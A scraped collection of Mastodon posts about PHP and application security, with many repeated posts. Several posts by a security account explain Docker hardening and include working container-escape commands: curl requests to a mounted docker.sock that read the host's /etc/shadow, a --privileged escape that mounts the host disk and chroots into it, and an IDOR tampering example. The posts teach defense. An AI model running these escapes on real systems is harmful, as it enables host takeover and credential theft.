mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container
[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
6) https://infosec.exchange/@reynardsec/115178689445065785
#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node
@heiglandreas@phpc.social
Do I get that right? There is still a supply chain attack going on via npm?
And there is no way to add an npm package that excludes all known vulnerable packages? Something like https://packagist.org/packages/roave/security-advisories for packagist?
All the recommendations I have seen sonfar are to manually scan the dependencies for.vulnerable packages... So... where is the list.of vulnerable packages?
But yeah! Go on and laugh about #PHP being dead....
@heiglandreas@phpc.social
Do I get that right? There is still a supply chain attack going on via npm?
And there is no way to add an npm package that excludes all known vulnerable packages? Something like https://packagist.org/packages/roave/security-advisories for packagist?
All the recommendations I have seen sonfar are to manually scan the dependencies for.vulnerable packages... So... where is the list.of vulnerable packages?
But yeah! Go on and laugh about #PHP being dead....
@dabiddo@mstdn.io
Im still on #php 8.1 / 8.2 for production ... and some pet projects with 8.4
https://pixicstudio.medium.com/php-8-5-new-developer-features-f9617311c590
@dabiddo@mstdn.io
Im still on #php 8.1 / 8.2 for production ... and some pet projects with 8.4
https://pixicstudio.medium.com/php-8-5-new-developer-features-f9617311c590
@Edent@mastodon.social
Today I am mostly disabling some of the forced WordPress cruft which bloats my blog.
I have a big list of default behaviours which I turn off. You can view them at:
https://gitlab.com/edent/blog-theme/-/blob/master/includes/remove.php
What are your "favourite" things to remove from WordPress?
(NB, snarky replies about moving to a different blogging platform are not welcome.)
@reynardsec@infosec.exchange
devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?
ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.
devops1: Fine. If it's "not hard" to implement, we can consider this.
ItSec: Deal.
Note: this mode does have some limitations. You can review them in docs [2].
First, let's check which user the Docker daemon is currently running as.
ps -C dockerd -o pid,user,group,cmd --no-headers
You should see something like:
9250 root root /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.
sudo systemctl disable --now docker.service docker.socket
Then install the uid/gid mapping tools. On Ubuntu it's uidmap.
sudo apt update && sudo apt install -y uidmap
Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.
dockerd-rootless-setuptool.sh install
If that command doesn't exist, install the extras package or use the official rootless script.
sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh
The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.
export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc
Enable auto-start for your user session and let services run even after logout ("linger").
systemctl --user enable docker
sudo loginctl enable-linger $(whoami)
Point the CLI at the new context and sanity-check.
docker context use rootless
Once more, check which privileges the Docker daemon is running with:
ps -C dockerd -o pid,user,group,cmd --no-headers
Now you will see something like:
10728 ubuntu ubuntu dockerd
And pssst! Podman runs containers in "rootless" mode by default [3].
[1] https://docs.docker.com/engine/security/rootless/
[2] https://docs.docker.com/engine/security/rootless/troubleshoot/
[3] https://documentation.suse.com/en-us/smart/container/html/rootless-podman/index.html#rootless-podman-sle
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
#appsec #devops #programming #webdev #java #javascript #python #php #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops
@packagist@phpc.social
The era of Composer v1 finally comes to an end, long live Composer v2! 👑 Today packagist.org support for v1 metadata has been shut down as announced last year. https://blog.packagist.com/packagist-org-shutdown-of-composer-1-x-support-postponed-to-september-1st-2025/ #composerphp #phpc #php
@packagist@phpc.social
The era of Composer v1 finally comes to an end, long live Composer v2! 👑 Today packagist.org support for v1 metadata has been shut down as announced last year. https://blog.packagist.com/packagist-org-shutdown-of-composer-1-x-support-postponed-to-september-1st-2025/ #composerphp #phpc #php
@nostarch@mastodon.social
A friendly reminder that you can enjoy 35% off everything on our website until tomorrow at 23:59.
DRM-Free. Print includes instant ebook. 30-day returns.
Build skills that outlast jobs.
#programming #infosec #cybersecurity #linux #python #php #books #bookstodon #hardware #hacking #redteam #blueteam #DevOps #design #manga #lego #bash #PowerShell #R #excel #Automation #quantumcomputing #deeplearning #javascript #kotlin
@firusvg@mastodon.social
#PHP was created as a dead language 😜
@firusvg@mastodon.social
#PHP was created as a dead language 😜
@Raymond@social.cologne
@Raymond@social.cologne
@Crell@phpc.social
ICYMI: @Girgias and I were interviewed by @contextfree about modern PHP. If you've not touched PHP in a while, you may be surprised at what it's been up to lately. We also go into how you can get involved in supporting the language. (Tip: Tell your company to sponsor the @phpfoundation)
@Crell@phpc.social
ICYMI: @Girgias and I were interviewed by @contextfree about modern PHP. If you've not touched PHP in a while, you may be surprised at what it's been up to lately. We also go into how you can get involved in supporting the language. (Tip: Tell your company to sponsor the @phpfoundation)
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.
ItSec (walking by): Guys... a quick test. From inside that container, run:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...
devops0: So what? What does it mean?
Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:
# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04
If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:
# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root
# apt update && apt install -y curl
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'
# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:
# Read /etc/shadow of Docker Host using only curl, step 1:
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'
# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'
Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).
And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.
[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/
Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956
#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
dev0: Big news - we finally upgraded every framework to the latest.
dev1: And the pipeline looks good: SAST, container scan, DAST... all green.
dev0: ItSec won't have anything to nitpick now!
ItSec (walking by): ... and BAC?
dev0: BAC?
ItSec: Broken Access Control [1]. Did you actually test for it?
dev1: What's he on about this time?
Let's learn by example: imagine an endpoint that returns a specific invoice.
GET /api/invoices/123
Authorization: Bearer <token-for-user-A>
User A legitimately fetches invoice 123. Now change only the ID:
GET /api/invoices/124
Authorization: Bearer <token-for-user-A>
If the app returns 200 with User B's data, you've got Broken Access Control (aka IDOR).
Even worse, try a write operation:
PATCH /api/invoices/124
Authorization: Bearer <token-for-user-A>
{"status": "paid"}
If that works... it's a problem.
Access control enforces who can do what on which resource. When it's broken, attackers can act outside their permissions: read others data, modify or delete it, or trigger business functions they shouldn't. In practice, this often comes from missing server-side checks that tie the caller to the resource owner (or an allowed role).
Why your shiny scanners may have missed it:
1) SAST sees code patterns, not ownership semantics (it can't deduce "invoice 124 belongs to User B").
2) DAST usually crawls with one session; it rarely performs cross-identity trials (User A poking at User B's data).
3) CI/CD "green checks" mean dependencies, images, and common vulns look fine - not that your authorization logic is correct.
What can you do?
1) Enforce checks on the server (never rely on the client): before every read/update/delete, verify the caller is the owner or has a permitted role.
2) Centralize authorization in a service/middleware.
3) Prefer opaque, unguessable IDs (UUIDs) over sequential integers, but still enforce server checks (UUIDs are not security).
4) Deny by default. Make allow-lists explicit.
[1] https://owasp.org/Top10/A01_2021-Broken_Access_Control/#description
#webdev #cybersecurity #programming #java #php #nodejs #javascript #infosec
@osapon@mstdn.nere9.help · Reply to おさ's post
LLMに聞いてもDOMDocumentでしか使えないオプションを回答してきて、そのオプションはDom\HTMLDocument(PHP8.4からこっちが推奨になった)で使えねーと困ったが、他の解法として、これも<br></br>を<br>に置換するという原始的処理で対応できた。内部で無駄な書き換えが発生していて処理が無駄だなぁ。 #PHP
@osapon@mstdn.nere9.help · Reply to おさ's post
LLMに聞いてもDOMDocumentでしか使えないオプションを回答してきて、そのオプションはDom\HTMLDocument(PHP8.4からこっちが推奨になった)で使えねーと困ったが、他の解法として、これも<br></br>を<br>に置換するという原始的処理で対応できた。内部で無駄な書き換えが発生していて処理が無駄だなぁ。 #PHP
@ratfactor@mastodon.art
Version 2.4 of "Famsite", my self-hosted social media site, now features my Faceclick Emoji picker. (I'll be releasing Faceclick itself soon, I just need to finish the README.)
The Emoji picker more than doubled the size of the project, it's over 100Kb now. But hey, you can still fit 10 copies on a floppy! 💾
Also note that 2.1 added the grouping of daily word game result comments, a huge improvement for _my_ family. 😃
@Skye@chaos.social
Anyone happen to be looking for a programmer who hasn't been completely consumed by all-AI-everything by any chance? Freelance or hired, remote (based in Germany). I speak German and English and mostly worked with #PHP, #Laravel, #Kirby CMS, #Vue, #Svelte and a bit of native mobile dev (Swift and Kotlin), too.
I know the chances are slim given *everything in the world*, but maybe this time #getfedihired might work out? Boost super appreciated. Feel free to DM or email at skye@lavenderbits.com
@Skye@chaos.social
Anyone happen to be looking for a programmer who hasn't been completely consumed by all-AI-everything by any chance? Freelance or hired, remote (based in Germany). I speak German and English and mostly worked with #PHP, #Laravel, #Kirby CMS, #Vue, #Svelte and a bit of native mobile dev (Swift and Kotlin), too.
I know the chances are slim given *everything in the world*, but maybe this time #getfedihired might work out? Boost super appreciated. Feel free to DM or email at skye@lavenderbits.com
@Skye@chaos.social
Anyone happen to be looking for a programmer who hasn't been completely consumed by all-AI-everything by any chance? Freelance or hired, remote (based in Germany). I speak German and English and mostly worked with #PHP, #Laravel, #Kirby CMS, #Vue, #Svelte and a bit of native mobile dev (Swift and Kotlin), too.
I know the chances are slim given *everything in the world*, but maybe this time #getfedihired might work out? Boost super appreciated. Feel free to DM or email at skye@lavenderbits.com
@reynardsec@infosec.exchange
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!
ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.
Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?
Here's why (one, simple example):
Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference.
1) Start two containers.
docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu
2) Inspect /dev in the unprivileged container.
docker exec -it ubuntu-unprivileged bash
ls /dev
exit
You'll only see a limited set of devices. No disk access.
3) Now inspect /dev in the privileged container.
docker exec -it ubuntu-privileged bash
ls /dev
/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.
4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.
mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever
5) You can now enumerate - and access - the Docker host's logical volume.
ls -la /tmp/whatever
6) If you wish, you can even chroot into the host:
chroot /tmp/whatever /bin/bash
The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.
Usually the grumpy guy means well. He just doesn't know how to explain it properly.
#devops #programming #webdev #java #linux #cybersecurity #php #nodejs
@krakjoe@phpc.social
Hey #PHP,
I don't normally market code, I write and leave it on github for you to find.
I can be wrong, I'm happy to be wrong.
But I believe, with every ounce of my being, that this is going to be important for our survival in the long term.
@krakjoe@phpc.social
Hey #PHP,
I don't normally market code, I write and leave it on github for you to find.
I can be wrong, I'm happy to be wrong.
But I believe, with every ounce of my being, that this is going to be important for our survival in the long term.
@panigrc@mastodon.social · Reply to ck0's post
@Crell@phpc.social
All about the new pipe operator in PHP 8.5:
https://thephp.foundation/blog/2025/07/11/php-85-adds-pipe-operator/
@ramsey@phpc.social
I’ve created an RFC to re-license #PHP under the Modified BSD License (BSD-3-Clause).
Please spread this far and wide. Discussion is open for 6 months so everyone can voice concerns or ask questions.
@ramsey@phpc.social
I’ve created an RFC to re-license #PHP under the Modified BSD License (BSD-3-Clause).
Please spread this far and wide. Discussion is open for 6 months so everyone can voice concerns or ask questions.

@skribe@aus.social
PHP people,
I'm trying to convert some python that I wrote many years ago to #PHP. The code takes a word (string) and converts it into IPA(International Phonetic Alphabet) based on an alphabet character=>IPA dictionary (array).
In Python every string is an array, but in PHP it's not.
How do I iterate over a string not just seeking for individual characters but also for groups of characters? For instance the word 'light' I'd want to seek for 'igh', which would be converted to 'aɪ'
TIA
@ramsey@phpc.social
New #PHP RFC just dropped:
Updating the PHP License, https://news-web.php.net/php.internals/127984
@ramsey@phpc.social
New #PHP RFC just dropped:
Updating the PHP License, https://news-web.php.net/php.internals/127984
@valorin@phpc.social
Just read a fun thread, so felt it was a good time to throw this out into the world:
I love PHP.
PHP is awesome.
PHP is secure.
PHP powers a lot of the world.
😎
@ramsey@phpc.social
New #PHP RFC just dropped:
Updating the PHP License, https://news-web.php.net/php.internals/127984
@valorin@phpc.social
Just read a fun thread, so felt it was a good time to throw this out into the world:
I love PHP.
PHP is awesome.
PHP is secure.
PHP powers a lot of the world.
😎
@php@fosstodon.org
🎉 PHP 8.5.0 Alpha 1 is available for testing!
In this very initial preview for PHP 8.5, we have:
- Pipe operator (|>)
- Final property promotion
- New array_first() and array_last() functions
- New #[\NoDiscard] attribute
… and more!
➕ Do: Test your projects!
➖ Don't: Run it in production. It's not fully ready yet.
Congratulations to Daniel, @edorian, and @adoy
@Crell@phpc.social
What's the preferred easy-to-use benchmarking tool these days for testing full HTTP responses? I know ab (apache bench), but it's also very old so I assume there's a new favorite.
This is for mostly informal tests, so ease of use > capability. Must run on Linux CLI.

@poteto@misskey.io
????????
嘘つきは数字を使うってこのことか
あなたのモダン技術、5年後にはあなたは理解できなくなります #PHP - Qiita https://share.google/FGKjn4nS0P6zxJSF2
@24eme@mastodon.libre-entreprise.com · Reply to 24ème's post
Quant aux choix des dons, chaque salarié⋅e du 24ème a disposé de 14 tranches de 24€ à répartir aux projets libres de son choix. Ensuite, nous les avons mis en commun pour se répartir les paiements redondant. Une méthode bien efficace : en moins d'une demi journée, nous avons pu choisir et aider 30 projets.
Voici la liste des dons : https://github.com/24eme/banque/blob/master/data/dons.csv
(2/2)
#Yunohost #Framasoft #Debian #php #bigbluebutton #gnome #imagemagick #git #organicmaps #fdroid #weblate #kitty #signal #CopyPublique
@24eme@mastodon.libre-entreprise.com · Reply to 24ème's post
Quant aux choix des dons, chaque salarié⋅e du 24ème a disposé de 14 tranches de 24€ à répartir aux projets libres de son choix. Ensuite, nous les avons mis en commun pour se répartir les paiements redondant. Une méthode bien efficace : en moins d'une demi journée, nous avons pu choisir et aider 30 projets.
Voici la liste des dons : https://github.com/24eme/banque/blob/master/data/dons.csv
(2/2)
#Yunohost #Framasoft #Debian #php #bigbluebutton #gnome #imagemagick #git #organicmaps #fdroid #weblate #kitty #signal #CopyPublique
@Crell@phpc.social
Functional programming isn't just for Haskell developers. It's for #PHP developers, too. "Thinking Functionally in PHP" is available from LeanPub.
@Crell@phpc.social
Functional programming isn't just for Haskell developers. It's for #PHP developers, too. "Thinking Functionally in PHP" is available from LeanPub.
@derickr@phpc.social
I spoke to @ricmac of The New Stack on the occasion of PHP's 30th birthday.
The Herd Is Strong: PHP and Its Developer Ecosystem at 30: https://thenewstack.io/the-herd-is-strong-php-and-its-developer-ecosystem-at-30/
@derickr@phpc.social
I spoke to @ricmac of The New Stack on the occasion of PHP's 30th birthday.
The Herd Is Strong: PHP and Its Developer Ecosystem at 30: https://thenewstack.io/the-herd-is-strong-php-and-its-developer-ecosystem-at-30/
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@php@fosstodon.org
🎂 Thirty years ago today, PHP was released!
How time has flown. Here's to thirty more great years! 🎉
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@stevegrunwell@phpc.social
In the summer of 2008, I was at a small agency doing video work. When our "webmaster" left, my boss asked if I could "make heads or tails of this #PHP".
Smug from years of writing #BASIC on a TI-83+, I decided to give it a shot and ended up changing my career trajectory.
Happy 30th, PHP! You're not the only language, but you're the one I always come back to 😁
@stevegrunwell@phpc.social
In the summer of 2008, I was at a small agency doing video work. When our "webmaster" left, my boss asked if I could "make heads or tails of this #PHP".
Smug from years of writing #BASIC on a TI-83+, I decided to give it a shot and ended up changing my career trajectory.
Happy 30th, PHP! You're not the only language, but you're the one I always come back to 😁
@ricmac@mastodon.social
Happy 30th birthday to #PHP. I wrote a history of it several years ago: “If CGI scripts were the start of interactive programming on the web, then PHP was the natural next step — at least on the server-side. Just a month after Brendan Eich created the JavaScript scripting language at Netscape, an independent developer from Canada named Rasmus Lerdorf released the first version of a toolset he called Personal Home Page Tools (PHP Tools).” https://cybercultural.com/p/1995-php-quietly-launches-as-a-cgi-scripts-toolset/
@php@fosstodon.org
🎂 Thirty years ago today, PHP was released!
How time has flown. Here's to thirty more great years! 🎉
@luciledt@phpc.social
My employer, after 7 months of work, fired me overnight. Because I would be too "finicky" about code quality and security risks, which would better suit "a bank or cybersecurity company".
So I'm again #lookingForJob, either at #Montpellier (France) or #fullRemote. I am a #fullStack #developer with almost 10 years of experience on #php, #symfony, #html, #css, #javascript (#jquery and I'm also learning #vue). I am fluent in English, both written and spoken.
@luciledt@phpc.social
My employer, after 7 months of work, fired me overnight. Because I would be too "finicky" about code quality and security risks, which would better suit "a bank or cybersecurity company".
So I'm again #lookingForJob, either at #Montpellier (France) or #fullRemote. I am a #fullStack #developer with almost 10 years of experience on #php, #symfony, #html, #css, #javascript (#jquery and I'm also learning #vue). I am fluent in English, both written and spoken.
@luciledt@phpc.social
Mon employeur, après 7 mois de période d'essai, vient de la rompre du jour au lendemain. Parce que je serais trop "pointilleuse" sur le code et les risques de sécurité, ce qui conviendrait mieux au secteur "de la banque ou de la cybersécurité".
Donc #jeChercheUnJob à nouveau, sur #Montpellier ou #fullRemote. Je suis #developpeuse #fullStack avec presque 10 ans d'expérience professionnelle sur #php, #symfony, #html, #css, #javascript (#jquery mais je suis en train de me former sur #vue)
@luciledt@phpc.social
My employer, after 7 months of work, fired me overnight. Because I would be too "finicky" about code quality and security risks, which would better suit "a bank or cybersecurity company".
So I'm again #lookingForJob, either at #Montpellier (France) or #fullRemote. I am a #fullStack #developer with almost 10 years of experience on #php, #symfony, #html, #css, #javascript (#jquery and I'm also learning #vue). I am fluent in English, both written and spoken.
@luciledt@phpc.social
Mon employeur, après 7 mois de période d'essai, vient de la rompre du jour au lendemain. Parce que je serais trop "pointilleuse" sur le code et les risques de sécurité, ce qui conviendrait mieux au secteur "de la banque ou de la cybersécurité".
Donc #jeChercheUnJob à nouveau, sur #Montpellier ou #fullRemote. Je suis #developpeuse #fullStack avec presque 10 ans d'expérience professionnelle sur #php, #symfony, #html, #css, #javascript (#jquery mais je suis en train de me former sur #vue)
@sublimer@mstdn.sublimer.me
PHPで書かれたWebRTC実装!!
PHP-WebRTC/webrtc: A pure PHP implementation of WebRTC : 👀
---
https://github.com/PHP-WebRTC/webrtc
@ramsey@phpc.social
It’s pretty cool to (belatedly) learn that #FrankenPHP is now an official project of @thephpf. Congrats!
https://thephp.foundation/blog/2025/05/15/frankenphp/
I’m curious why this news (which I’ve only just now found out about) wasn’t posted on any official Fediverse channels.
@ramsey@phpc.social
It’s pretty cool to (belatedly) learn that #FrankenPHP is now an official project of @thephpf. Congrats!
https://thephp.foundation/blog/2025/05/15/frankenphp/
I’m curious why this news (which I’ve only just now found out about) wasn’t posted on any official Fediverse channels.
@ryanhe@mistyreverie.org
我很討厭 #PHP 的一個原因就是 Web server (如Nginx)與 PHP-FPM 的連接方式,都沒有一個標準的解答,網路上找的到的都是複製貼上的結果,根本不能用。
然後就如同 Orange 所說的,連 Nginx 官方給的設置範例都有安全性問題。
@pfefferle@mastodon.social
can someone recommend a http-signature library/implementation in #php ?
@pfefferle@mastodon.social
can someone recommend a http-signature library/implementation in #php ?
@toflar@phpc.social
I have just released the biggest release in #loupe's history!
🚀 Major search engine overhaul!
🔧 Rewritten core logic
⚡ Faster queries & optimized SQLite
📊 Faceted search support!
🎯 Better ranking & aggregate sorting
📏 Offset, limit, total hit config
🧠 Smarter schema diffs & simpler queries
🖼️ Displayed attrs, cropping, highlights
📦 Configs & params now serializable
🔍 New Browse API
🛠️ Tons of fixes & polish!
Enjoy!
https://github.com/loupe-php/loupe/releases/tag/0.11.0 #php #search
@toflar@phpc.social
I have just released the biggest release in #loupe's history!
🚀 Major search engine overhaul!
🔧 Rewritten core logic
⚡ Faster queries & optimized SQLite
📊 Faceted search support!
🎯 Better ranking & aggregate sorting
📏 Offset, limit, total hit config
🧠 Smarter schema diffs & simpler queries
🖼️ Displayed attrs, cropping, highlights
📦 Configs & params now serializable
🔍 New Browse API
🛠️ Tons of fixes & polish!
Enjoy!
https://github.com/loupe-php/loupe/releases/tag/0.11.0 #php #search
@nibushibu@vivaldi.net · Reply to GENKI's post
DB が単一 #php ファイルなの、潔いな
@blog@shkspr.mobi
https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/
It is a truth universally acknowledged that a programmer in possession of some HTML will eventually try to parse it with a regular expression.
This makes many people very angry and is widely regarded as a bad move.
In the bad old days, it was somewhat understandable for a PHP coder to run a quick-and-dirty preg_replace() on a scrap of code. They probably could control the input and there wasn't a great way to manipulate an HTML5 DOM.
Rejoice sinners! PHP 8.4 is here to save your wicked souls. There's a new HTML5 Parser which makes everything better and stops you having to write brittle regexen.
Here are a few tips - mostly notes to myself - but I hope you'll find useful.
This is the most basic example. This loads HTML into a DOM, tries to fix all the mistakes it finds, and then spits out the result.
PHP
$html = '<p id="yes" id="no"><em>Hi</div><h2>Test</h3><img />';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED , "UTF-8" );echo $dom->saveHTML();
It uses LIBXML_HTML_NOIMPLIED because we don't want a full HTML document with a doctype, head, body, etc.
If you want Pretty Printing, you can use my library.
OK, so you've got the DOM, how do you get the text of the body without any of the surrounding HTML
PHP
$html = '<p><em>Hello</em> World!</p>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR , "UTF-8" );echo $dom->body->textContent;
Note, this doesn't replace images with their alt text.
You can use the same querySelector() function as you do in JavaScript!
PHP
$element = $dom->querySelector( "h2" );
That returns a pointer to the element. Which means you can run:
PHP
$element->setAttribute( "id", "interesting" );echo $dom->querySelector( "h2" )->attributes["id"]->value;
And you will see that the DOM has been manipulated!
Suppose you have a bunch of headings and you want to get all of them. You can use the same querySelectorAll() function as you do in JavaScript!
To get all headings, in the order they appear:
PHP
$headings = $dom->querySelectorAll( "h1, h2, h3, h4, h5, h6" );foreach ( $headings as $heading ) { // Do something}
Suppose you have a bunch of links and you want to find only those which point to "example.com/test/". Again, you can use the same attribute selectors as you would elsewhere
PHP
$dom->querySelectorAll( "a[href^=https\:\/\/example\.com\/test\/]" );
Sadly, it isn't quite as simple as setting the innerHTML. Each search returns a node. That node may have children. Those children will also be node which, themselves, may have children, and so on.
Let's take a simple example:
PHP
$html = '<h2>Hello</h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );$element = $dom->querySelector( "h2" );$element->childNodes[0]->textContent = "Goodbye";echo $dom->saveHTML();
That changes "Hello" to "Goodbye".
But what if the element has child nodes?
PHP
$html = '<h2>Hello <em>friend</em></h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );$element = $dom->querySelector( "h2" );$element->childNodes[0]->textContent = "Goodbye";echo $dom->saveHTML();
That outputs <h2>Goodbye<em>friend</em></h2> - so think carefully about the structure of the DOM and what you want to replace.
This one is tricky! Let's suppose you have this:
HTML
<div id="page"> <main> <h2>Hello</h2>
You want to add an <h1> before the <h2>. Here's how to do this.
First, you need to construct the DOM:
PHP
$html = '<div id="page"><main><h2>Hello</h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
Next, you need to construct an entirely new DOM for your new node.
PHP
$newHTML = "<h1>Title</h1>";$newDom = \Dom\HTMLDocument::createFromString( $newHTML, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
Next, extract the new element from the new DOM, and import it into the original DOM:
PHP
$element = $dom->importNode( $newDom->firstChild, true );
The element now needs to be inserted somewhere in the original DOM. In this case, get the h2, tell its parent node to insert the new node before the h2:
PHP
$h2 = $dom->querySelector( "h2" );$h2->parentNode->insertBefore( $element, $h2 );echo $dom->saveHTML();
Out pops:
HTML
<div id="page"> <main> <h1>Title</h1> <h2>Hello</h2> </main></div>
An alternative is to use the appendChild() method. Note that it appends it to the end of the children. For example:
PHP
$div = $dom->querySelector( "#page" );$div->appendChild( $element );echo $dom->saveHTML();
Produces:
HTML
<div id="page"> <main> <h2>Hello</h2> </main> <h1>Title</h1></div>
